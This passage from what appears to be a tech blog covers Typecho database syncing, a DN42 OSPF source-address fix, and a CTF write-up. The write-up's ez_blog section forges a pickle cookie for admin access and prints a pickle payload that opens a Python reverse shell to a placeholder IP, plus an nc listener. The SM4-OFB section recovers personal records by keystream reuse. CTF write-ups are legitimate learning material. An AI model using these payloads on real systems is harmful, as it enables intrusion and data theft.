Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[CENSORED]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $result = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $item->cid))['agree']; if ($type) echo number_format($result); else return number_format($result); } Modify the code displaying view counts on the homepage in <webroot>/en/usr/themes/Joe/core/route.php: $result[] = array( "mode" => $item->fields->mode ? $item->fields->mode : 'default', "image" => _getThumbnails($item), "time" => date('Y-m-d', $item->created), "created" => date('d/m/Y', $item->created), "title" => $item->title, "abstract" => _getAbstract($item, false), "category" => $item->categories, - "views" => number_format($item->views), + // "views" => number_format($item->views), + "views" => _getViews($item, false), "commentsNum" => number_format($item->commentsNum), - "agree" => number_format($item->agree), + // "agree" => number_format($item->agree), + "agree" => _getAgree($item, false), "permalink" => $item->permalink, "lazyload" => _getLazyload(false), "type" => "normal" ); The code displaying view counts on the article page itself already uses _getViews, so it doesn't need modification. Modify the code that increments view counts: /* Increase View Count - Tested √ */ function _handleViews($self) { $self->response->setStatus(200); $cid = $self->request->cid; /* SQL injection check */ if (!preg_match('/^\d+$/', $cid)) { return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!")); } - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[CENSORED]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $row = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $cid)); if (sizeof($row) > 0) { Modify the code for liking and unliking: /* Like and Unlike - Tested √ */ function _handleAgree($self) { $self->response->setStatus(200); $cid = $self->request->cid; $type = $self->request->type; /* SQL injection check */ if (!preg_match('/^\d+$/', $cid)) { return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!")); } /* SQL injection check */ if (!preg_match('/^[agree|disagree]+$/', $type)) { return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!")); } - $db = Typecho_Db::get(); + // $db = Typecho_Db::get(); + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho', + 'password' => '[CENSORED]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho' + ], Typecho_Db::READ | Typecho_Db::WRITE); $row = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $cid)); if (sizeof($row) > 0) { After making these changes and saving, visiting the English site should show view counts and like counts synchronized with the Chinese site. Sync Comments I initially thought about creating a plugin that hooks into the comment submission function to simultaneously insert comment data into the other instance's database. However, I found that my Joe theme already hooks into this, and adding another hook might cause conflicts. Therefore, I directly edited the Joe theme's code. Edit <webroot>/index/usr/themes/Joe/core/factory.php: <?php require_once("phpmailer.php"); require_once("smtp.php"); /* Enhanced Comment Interception */ Typecho_Plugin::factory('Widget_Feedback')->comment = array('Intercept', 'message'); class Intercept { public static function message($comment) { ... Typecho_Cookie::delete('__typecho_remember_text'); + + $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */); + $db->addServer([ + 'host' => 'mysql', + 'user' => 'typecho_en', + 'password' => '[CENSORED]', + 'charset' => 'utf8mb4', + 'port' => 3306, + 'database' => 'typecho_en' + ], Typecho_Db::READ | Typecho_Db::WRITE); + + $row = [ + 'coid' => $comment['coid'], // Must include the newly generated comment ID + 'cid' => $comment['cid'], + 'created' => $comment['created'], + 'author' => $comment['author'], + 'authorId' => $comment['authorId'], + 'ownerId' => $comment['ownerId'], + 'mail' => $comment['mail'], + 'url' => $comment['url'], + 'ip' => $comment['ip'], + 'agent' => $comment['agent'], + 'text' => $comment['text'], + 'type' => $comment['type'], + 'status' => $comment['status'], + 'parent' => $comment['parent'] + ]; + + // Insert data into the target database's `comments` table + $db->query($db->insert('typecho_comments')->rows($row)); return $comment; } } ... Perform the same operation on the English instance, inserting comments into the Chinese database. One issue with this scheme is that if you need to delete spam comments, you must delete them separately in both instances. I'll fix that later (maybe). Reference: typecho/languages - GitHub
DN42&OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment
Backstory As mentioned in the previous post of this series, because the VRF solution was too isolating, the DNS service I deployed on the HKG node (172.20.234.225) became inaccessible from the DN42 network. Research indicated this could be achieved by setting up veth or NAT forwarding, but due to the scarcity of available documentation, I ultimately abandoned the VRF approach. Structure Analysis This time, I planned to place both DN42 and clearnet BGP routes into the system's main routing table, then separate them for export using filters to distinguish which should be exported. For clarity, I stored the configuration for the DN42 part and the clearnet part (hereinafter referred to as inet) separately, and then included them from the main configuration file. Also, since there should ideally only be one kernel configuration per routing table, I merged the DN42 and inet kernel parts, keeping only one instance. After multiple optimizations and revisions, my final directory structure is as follows: /etc/bird/ ├─envvars ├─bird.conf: Main Bird config file, defines basic info (ASN, IP, etc.), includes sub-configs below ├─kernel.conf: Kernel config, imports routes into the system routing table ├─dn42 | ├─defs.conf: DN42 function definitions, e.g., is_self_dn42_net() | ├─ibgp.conf: DN42 iBGP template | ├─rpki.conf: DN42 RPKI route validation | ├─ospf.conf: DN42 OSPF internal network | ├─static.conf: DN42 static routes | ├─ebgp.conf: DN42 Peer template | ├─ibgp | | └<ibgp configs>: DN42 iBGP configs for each node | ├─ospf | | └backbone.conf: OSPF area | ├─peers | | └<ibgp configs>: DN42 Peer configs for each node ├─inet | ├─peer.conf: Clearnet Peer | ├─ixp.conf: Clearnet IXP connection | ├─defs.conf: Clearnet function definitions, e.g., is_self_inet_v6() | ├─upstream.conf: Clearnet upstream | └static.conf: Clearnet static routes I separated the function definitions because I needed to reference them in the filters within kernel.conf, so I isolated them for early inclusion. After filling in the respective configurations and setting up the include relationships, I ran birdc configure and it started successfully. So, case closed... right? Problems occurred After running for a while, I suddenly found that I couldn't ping the HKG node from my internal devices, nor could I ping my other internal nodes from the HKG node. Strangely, external ASes could ping my other nodes or other external ASes through my HKG node, and my internal nodes could also ping other non-directly connected nodes (e.g., 226(NKG)->225(HKG)->229(LAX)) via the HKG node. Using ip route get <other internal node address> revealed: root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226 172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0 cache See the problem? The src address should have been the HKG node's own DN42 address (configured on the OSPF stub interface), but here it showed the HKG node's clearnet address instead. Attempting to read the route learned by Bird using birdc s r for 172.20.234.226: root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226 BIRD 2.17.1 ready. Table master4: 172.20.234.226/32 unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226] via 172.20.234.226 on dn42_nkg onlink Looks seemingly normal...? Theoretically, although the DN42 source IP is different from the usual, DN42 rewrites krt_prefsrc when exporting to the kernel to inform the kernel of the correct source address, so this issue shouldn't occur: protocol kernel kernel_v4{ ipv4 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP; accept; }; }; } protocol kernel kernel_v6 { ipv6 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network_v6() then krt_prefsrc = DN42_OWNIPv6; accept; }; }; } Regarding krt_prefsrc, it stands for Kernel Route Preferred Source. This attribute doesn't manipulate the route directly but instead attaches a piece of metadata to it. This metadata directly instructs the Linux kernel to prioritize the specified IP address as the source address for packets sent via this route. I was stuck on this for a long time. The Solution Finally, during an unintentional attempt, I added the krt_prefsrc rewrite to the OSPF import configuration as well: protocol ospf v3 dn42_ospf_iyoroynet_v4 { router id DN42_OWNIP; ipv4 { - import where is_self_dn42_net() && source != RTS_BGP; + import filter { + if is_self_dn42_net() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIP; + accept; + } + reject; + }; export where is_self_dn42_net() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 dn42_ospf_iyoroynet_v6 { router id DN42_OWNIP; ipv6 { - import where is_self_dn42_net_v6() && source != RTS_BGP; + import filter { + if is_self_dn42_net_v6() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIPv6; + accept; + } + reject; + }; export where is_self_dn42_net_v6() && source != RTS_BGP; }; include "ospf/*"; }; After running this, the src address became correct, and mutual pinging worked. Configuration files for reference: KaguraiYoRoy/Bird2-Configuration
2025 Yangcheng Cup CTF Preliminary WriteUp
GD1 The file description indicates this is a game developed with Godot Engine. Using GDRE tools to open it, we can locate the game logic: extends Node @export var mob_scene: PackedScene var score var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" func _ready(): pass func _process(delta: float) -> void : pass func game_over(): $ScoreTimer.stop() $MobTimer.stop() $HUD.show_game_over() func new_game(): score = 0 $Player.start($StartPosition.position) $StartTimer.start() $HUD.update_score(score) $HUD.show_message("Get Ready") get_tree().call_group("mobs", "queue_free") func _on_mob_timer_timeout(): var mob = mob_scene.instantiate() var mob_spawn_location = $MobPath / MobSpawnLocation mob_spawn_location.progress_ratio = randf() var direction = mob_spawn_location.rotation + PI / 2 mob.position = mob_spawn_location.position direction += randf_range( - PI / 4, PI / 4) mob.rotation = direction var velocity = Vector2(randf_range(150.0, 250.0), 0.0) mob.linear_velocity = velocity.rotated(direction) add_child(mob) func _on_score_timer_timeout(): score += 1 $HUD.update_score(score) if score == 7906: var result = "" for i in range(0, a.length(), 12): var bin_chunk = a.substr(i, 12) var hundreds = bin_chunk.substr(0, 4).bin_to_int() var tens = bin_chunk.substr(4, 4).bin_to_int() var units = bin_chunk.substr(8, 4).bin_to_int() var ascii_value = hundreds * 100 + tens * 10 + units result += String.chr(ascii_value) $HUD.show_message(result) func _on_start_timer_timeout(): $MobTimer.start() $ScoreTimer.start() We discover that when the score reaches 7906, a decryption algorithm is triggered to decrypt data from array a and print it. We wrote a decryption program following this logic: #include <iostream> #include <string> #include <bitset> using namespace std; int bin_to_int(const string &bin) { return stoi(bin, nullptr, 2); } string decodeBinaryString(const string &a) { string result; for (size_t i = 0; i + 12 <= a.length(); i += 12) { string bin_chunk = a.substr(i, 12); int hundreds = bin_to_int(bin_chunk.substr(0, 4)); int tens = bin_to_int(bin_chunk.substr(4, 4)); int units = bin_to_int(bin_chunk.substr(8, 4)); int ascii_value = hundreds * 100 + tens * 10 + units; result.push_back(static_cast<char>(ascii_value)); } return result; } int main() { string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"; cout << decodeBinaryString(a) << endl; return 0; } Execution yields the Flag: DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS} 成功男人背后的女人 (The Woman Behind the Successful Man) Opening the attachment reveals an image. Based on the hint, we suspected hidden images or other content. Initial attempts with binwalk and foremost yielded nothing. Research indicated the use of Adobe Fireworks' proprietary protocol. Opening the image with appropriate tools revealed the hidden content: The symbols at the bottom were combined in binary form: 01000100010000010101001101000011 01010100010001100111101101110111 00110000011011010100010101001110 01011111011000100110010101101000 00110001011011100100010001011111 01001101010001010110111001111101 Decoding in 8-bit groups: #include <iostream> #include <string> using namespace std; int main(){ string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101"; for(int i=0;i<str.length();i+=8){ cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2); } return 0; } Execution yields: DASCTF{w0mEN_beh1nD_MEn} SM4-OFB We had AI analyze the encryption process and write a decryption script: # 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下） # 代码会： # 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始） # 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码） # # 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点） # 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。 from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad def xor_bytes(a,b): return bytes(x^y for x,y in zip(a,b)) # record1 已知明文与密文（用户提供） record1 = { "name_plain": "蒋宏玲".encode('utf-8'), "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e", "phone_plain": "17145949399".encode('utf-8'), "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c", "id_plain": "220000197309078766".encode('utf-8'), "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } # record2 仅密文（用户提供） record2 = { "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43", "phone_cipher_hex": "175533440427265293a16447f8eb554c", "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } BS = 16 # 分组长度 # 工具：把字段按 16 字节块切分 def split_blocks(b): return [b[i:i+BS] for i in range(0, len(b), BS)] # 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR） ks_blocks = {"name": [], "phone": [], "id": []} # name C_name = unhexlify(record1["name_cipher_hex"]) P_name_padded = pad(record1["name_plain"], BS) for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)): ks_blocks["name"].append(xor_bytes(c, p)) # phone C_phone = unhexlify(record1["phone_cipher_hex"]) P_phone_padded = pad(record1["phone_plain"], BS) for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)): ks_blocks["phone"].append(xor_bytes(c, p)) # id (可能为两块) C_id = unhexlify(record1["id_cipher_hex"]) P_id_padded = pad(record1["id_plain"], BS) for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)): ks_blocks["id"].append(xor_bytes(c, p)) print("Derived keystream blocks (hex):") for field, blks in ks_blocks.items(): print(field, [b.hex() for b in blks]) # 2) 使用上述 keystream 去解 record2 相应字段 def recover_field(cipher_hex, ks_list): C = unhexlify(cipher_hex) blocks = split_blocks(C) recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list)) # 尝试去除填充并解码 try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception as e: recovered = None return recovered, recovered_padded name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"]) phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"]) id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"]) print("\nRecovered (if OFB with same IV/key and per-field restart):") print("Name padded bytes (hex):", name_padded.hex()) print("Name plaintext:", name_rec) print("Phone padded bytes (hex):", phone_padded.hex()) print("Phone plaintext:", phone_rec) print("ID padded bytes (hex):", id_padded.hex()) print("ID plaintext:", id_rec) # 如果解码失败，打印原始 bytes 以便人工分析 # if name_rec is None: # print("\nName padded bytes (raw):", name_padded) # if phone_rec is None: # print("Phone padded bytes (raw):", phone_padded) # if id_rec is None: # print("ID padded bytes (raw):", id_padded) # 结束 We found that names and ID numbers could be computed. After dumping all names from the Excel sheet into a text file, we had AI write a batch processing script: #!/usr/bin/env python3 """ Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and one known plaintext/ciphertext pair is available (from record1). This script: - Reads an input file (one hex-encoded cipher per line). - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream blocks for the name-field (keystream = C XOR P_padded). - XORs each input cipher with the derived keystream blocks to recover plaintext, removes PKCS#7 padding if present, and prints a line containing: <recovered_name>\t<cipher_hex> Usage: python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt Notes: - This assumes each name was encrypted as a separate field starting OFB from the same IV (so keystream blocks align for the name-field) and PKCS#7 padding was used before encryption. If names exceed the number of derived keystream blocks the script will attempt to reuse the keystream cyclically (warns about it), but ideally you should supply a longer known plaintext/ciphertext pair to derive more keystream blocks. - Requires pycryptodome for padding utilities: pip install pycryptodome Edit the KNOWN_* constants below if your known record1 values differ. """ import sys from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad # ----------------------- # ----- KNOWN VALUES ---- # ----------------------- # These are taken from the CTF prompt / earlier messages. Change them if needed. KNOWN_NAME_PLAIN = "蒋宏玲" # record1 known plaintext for name field KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e" # record1 name ciphertext hex IV_HEX = "6162636465666768696a6b6c6d6e6f70" # the IV column (fixed) # Block size for SM4 (16 bytes) BS = 16 # ----------------------- # ----- Helpers --------- # ----------------------- def xor_bytes(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) def split_blocks(b: bytes, bs: int = BS): return [b[i:i+bs] for i in range(0, len(b), bs)] # ----------------------- # ----- Derive keystream from the known pair # ----------------------- def derive_keystream_from_known(known_plain: str, known_cipher_hex: str): p = known_plain.encode('utf-8') c = unhexlify(known_cipher_hex) p_padded = pad(p, BS) p_blocks = split_blocks(p_padded) c_blocks = split_blocks(c) if len(p_blocks) != len(c_blocks): raise ValueError('Known plaintext/cipher block count mismatch') ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)] return ks_blocks # ----------------------- # ----- Recovery -------- # ----------------------- def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks): c = unhexlify(cipher_hex.strip()) c_blocks = split_blocks(c) # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically if len(c_blocks) > len(ks_blocks): print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr) recovered_blocks = [] for i, cb in enumerate(c_blocks): ks = ks_blocks[i % len(ks_blocks)] recovered_blocks.append(xor_bytes(cb, ks)) recovered_padded = b''.join(recovered_blocks) # Try to unpad and decode; if fails, return hex of raw bytes try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception: try: recovered = recovered_padded.decode('utf-8') except Exception: recovered = '<raw:' + recovered_padded.hex() + '>' return recovered # ----------------------- # ----- Main ----------- # ----------------------- def main(): if len(sys.argv) != 2: print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr) sys.exit(2) inpath = sys.argv[1] ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX) with open(inpath, 'r', encoding='utf-8') as f: for lineno, line in enumerate(f, 1): line = line.strip() if not line: continue # Assume each line is one hex-encoded name ciphertext (no spaces) try: recovered = recover_name_from_cipher_hex(line, ks_blocks) except Exception as e: recovered = '<error: %s>' % str(e) print(f"{recovered}\t{line}") if __name__ == '__main__': main() Searching revealed that the ciphertext corresponding to 何浩璐 was c2de929284bff9f63b905245fae9574e. Searching for the ID number ciphertext corresponding to this in Excel yielded: 1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c. Decrypting this with the above script gave: 120000197404101676. Calculating its MD5: fbb80148b75e98b18d65be446f505fcc gives the Flag. dataIdSort We provided the requirements to AI and had it write a script: #!/usr/bin/env python3 # coding: utf-8 """ 功能： - 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。 - 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。 - 所有匹配项均保留原始格式，并输出到 output.csv 文件中。 """ import re import csv from datetime import datetime # ------------------- 配置 ------------------- INPUT_FILE = "data.txt" OUTPUT_FILE = "output.csv" DEBUG = False # 设置为 True 以在控制台打印详细的接受/拒绝日志 # 手机号前缀白名单 ALLOWED_MOBILE_PREFIXES = { "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159", "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145", "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153", "173", "174", "177", "180", "181", "189", "190", "191", "193", "199" } # --------------------------------------------- # ------------------- 校验函数 ------------------- def luhn_check(digits: str) -> bool: """对数字字符串执行Luhn算法校验。""" s = 0 alt = False for char in reversed(digits): d = int(char) if alt: d *= 2 if d > 9: d -= 9 s += d alt = not alt return s % 10 == 0 def is_valid_id(raw: str): """校验身份证号的有效性（长度、格式、出生日期、校验码）。""" sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]' s = re.sub(sep_pattern, '', raw) if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s): return False, "无效的格式或长度" try: birth_date = datetime.strptime(s[6:14], "%Y%m%d") if not (1900 <= birth_date.year <= datetime.now().year): return False, f"无效的出生年份: {birth_date.year}" except ValueError: return False, "无效的出生日期" weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights)) expected_check = check_map[total % 11] if s[17].upper() != expected_check: return False, f"校验码不匹配: 期望值 {expected_check}" return True, "" def is_valid_phone(raw: str) -> bool: """校验手机号的有效性（长度和号段）。""" digits = re.sub(r'\D', '', raw) if digits.startswith("86") and len(digits) > 11: digits = digits[2:] return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES def is_valid_bankcard(raw: str) -> bool: """校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。""" if not (16 <= len(raw) <= 19 and raw.isdigit()): return False return luhn_check(raw) def is_valid_ip(raw: str) -> bool: """校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。""" parts = raw.split('.') if len(parts) != 4: return False # 检查是否存在无效部分，如 '01' if any(len(p) > 1 and p.startswith('0') for p in parts): return False return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts) def is_valid_mac(raw: str) -> bool: """校验MAC地址的有效性。""" # 正则表达式已经非常严格，这里仅做最终确认 return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None # ------------------- 正则表达式定义 ------------------- # 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。 # 1. MAC地址：格式明确，使用冒号分隔。 mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})' # 2. IP地址：格式明确，使用点分隔。该正则更精确，避免匹配如 256.1.1.1 的无效IP。 ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))' # 3. 身份证号：结构为 6-8-4，长度固定，比纯数字的银行卡更具特异性。 sep = r'[\s\-\u00A0\u3000\u2013\u2014]' id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))' # 4. 银行卡号：匹配16-19位的连续数字。这是最通用的长数字模式之一，放在后面匹配。 bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))' # 5. 手机号：匹配11位数字的特定格式，放在最后以避免错误匹配更长数字串的前缀。 phone_prefix = r'(?:\(\+86\)|\+86\s*)' phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})' phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))' # 将所有模式编译成一个大的正则表达式 combined_re = re.compile( f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}', flags=re.UNICODE | re.IGNORECASE ) # ------------------- 主逻辑 ------------------- def extract_from_text(text: str): """ 使用单一的、组合的正则表达式从文本中查找所有候选者，并逐一校验。 """ results = [] for match in combined_re.finditer(text): kind = match.lastgroup value = match.group(kind) if kind == 'mac': if is_valid_mac(value): if DEBUG: print(f"【接受 mac】: {value}") results.append(('mac', value)) elif DEBUG: print(f"【拒绝 mac】: {value}") elif kind == 'ip': if is_valid_ip(value): if DEBUG: print(f"【接受 ip】: {value}") results.append(('ip', value)) elif DEBUG: print(f"【拒绝 ip】: {value}") elif kind == 'id': is_valid, reason = is_valid_id(value) if is_valid: if DEBUG: print(f"【接受 idcard】: {value}") results.append(('idcard', value)) else: # 降级处理：如果作为身份证校验失败，则尝试作为银行卡校验 digits_only = re.sub(r'\D', '', value) if is_valid_bankcard(digits_only): if DEBUG: print(f"【接受 id->bankcard】: {value}") # 规范要求保留原始格式 results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})") elif kind == 'bankcard': if is_valid_bankcard(value): if DEBUG: print(f"【接受 bankcard】: {value}") results.append(('bankcard', value)) elif DEBUG: print(f"【拒绝 bankcard】: {value}") elif kind == 'phone': if is_valid_phone(value): if DEBUG: print(f"【接受 phone】: {value}") results.append(('phone', value)) elif DEBUG: print(f"【拒绝 phone】: {value}") return results def main(): """主函数：读取文件，执行提取，写入CSV。""" try: with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f: text = f.read() except FileNotFoundError: print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。") # 创建一个空的data.txt以确保脚本可以运行 with open(INPUT_FILE, "w", encoding="utf-8") as f: f.write("") print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。") text = "" extracted_data = extract_from_text(text) with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile: writer = csv.writer(csvfile) writer.writerow(["category", "value"]) writer.writerows(extracted_data) print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。") if __name__ == "__main__": main() Execution produces export.csv. Uploading this with accuracy >=98% yields the Flag: DASCTF{34164200333121342836358909307523} ez_blog Opening the webpage revealed a login requirement. Following hints, we successfully logged in as a guest using username guest and password guest. We observed a Cookie containing Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e. AI analysis revealed this was pickle serialization converted to hex. Decoding showed: KappUser)}(idusernameguesis_admin logged_inub.. We modified the content to change username to admin and is_admin to True, resulting in: 8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e. Modifying the request Cookies via BurpSuite successfully granted admin privileges (with article creation rights): This indicated the server deserializes the Token, allowing exploitation of deserialization vulnerabilities. With no echo, we opted for a reverse shell. We crafted the Payload: import pickle import time import binascii import os class Exploit: def __reduce__(self): return (os.system, ('''python3 -c "import os import socket import subprocess s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<Your IP>', 2333)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/sh', '-i'])"''',)) payload = pickle.dumps(Exploit()) hex_token = binascii.hexlify(payload).decode() print(hex_token) print(payload) obj = pickle.loads(payload) Execution produced the Payload: 80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e. After running nc -lvvp 2333 on our server and sending the Payload as the Token, we successfully obtained a shell. The Flag was located in /thisisthefffflllaaaggg.txt: Flag: DASCTF{15485426979172729258466667411440}